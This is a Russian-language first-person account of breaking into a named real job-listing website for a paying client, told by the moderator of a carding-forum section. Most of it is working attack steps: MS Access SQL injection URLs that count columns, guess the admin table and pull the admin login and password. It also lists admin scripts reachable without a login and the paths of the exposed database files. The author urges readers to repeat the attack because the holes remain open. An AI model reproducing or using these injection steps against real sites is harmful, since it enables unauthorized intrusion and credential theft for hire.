Сидя на больничном и играя в Героев V, я потихоньку обретал физическое и
душевное здоровье после изнурительного гриппа. К полуночи, пройдя очередную
миссию, я выключил игру и стал просматривать новые топики на модерируемом мною
форумном разделе «о цветах и бабочках» на одном из кардерских форумов. В этот
момент стукнулся ко мне чел, которому надо было срочно получить доступ к сайту
www.psgi.net. Глянув на сайт,
который практически весь состоял из статичного html, я хотел было уже отказаться
от его предложения, но на всякий случай решил пробить все страницы сайта через
поиск google.com - site: www.psgi.net.
Гугл вывалил полтора десятка страниц, из которых первые все ссылались на
html-страницы. И только в конце я увидел несколько ссылок на asp-скрипты,
которым передавались параметры:
http://www.psgi.net/careerdetail.asp?ID=1519
вбив кавычку, я получил ответ:
Microsoft JET Database Engine error '80040e14'
Syntax error in string in query expression 'ID = 1403''.
/careerdetail.asp, line 8
Это был MSAccess, но разве это могло меня остановить? Тем более, что MSAccess
тоже подвержен инжекту, вот только синтаксис запросов немного отличается от SQL
- отсутствует комментарий в конце запроса.
После выяснения количества строк:
http://www.psgi.net/careerdetail.asp?ID=1519+order+by+8
мне предстояло самое трудное - подобрать название таблицы, ведь без нее в
инжекте MSAccess даже невозможно будет обнаружить вывод полей. Т.е. запрос
должен быть примерно таким:
http://www.psgi.net/careerdetail.asp?ID=1519+union+select+
1,2,3,4,5,6,7,8+from+[имя реально существующей таблицы]
Помучив немного базу я нашел название таблицы:
http://www.psgi.net/careerdetail.asp?ID=1403+union+select+1,2,3,4,5,6,7,8+from+tb_Admin
И еще через некоторое время вытянул из нее логин и пароль админа:
http://www.psgi.net/careerdetail.asp?ID=1403+union
+select+1,Password,3,UserID,5,6,7,8+from+tb_Admin
Какая сволочь решила назвать колонку с логином админа UserID? Где логика? Где
«круги Эллера», которыми мне загадили мозг на занятиях по логике в институте? Но
именно в такие моменты, когда законы логики вкупе с малопонятными «кругами»
перестают действовать, включается интуиция и она меня на этот раз не подвела.
Найдя и зайдя в админку:
http://psgi.net/Login.asp
я уже был готов скинуть логин и пароль админа знакомому в обмен на гонорар,
но тут обнаружил, что для редактирования данных о вакансиях по трудоустройству
(собственно знакомому и нужна была возможность их редактирования) даже не нужно
знать логина и пароля админа. Достаточно было только названия скриптов:
http://psgi.net/AdminViewJobs.asp
http://psgi.net/editjob.asp
Велик и могуч поток программерской мысли, не дай бог накроет... Ну и
напоследок, еще немного поковыряв сайт, я нашел и сами Access’ные базы:
http://psgi.net/databases/joblisting.mdb
http://psgi.net/databases/ProTech.mdb
Скинув все заказчику я отправился спать.
И вот по прошествию некоторого времени, с разрешения заказчика взлома, я
написал эту статью. Информация для заказчика перестала быть актуальной, зато
баги на сайте как были, так и остались без изменений. Так что в качестве
самообразования можешь повторить мои действия, может тогда и поймешь как я нашел
названия баз в закрытой для просмотра директории databases ;-).
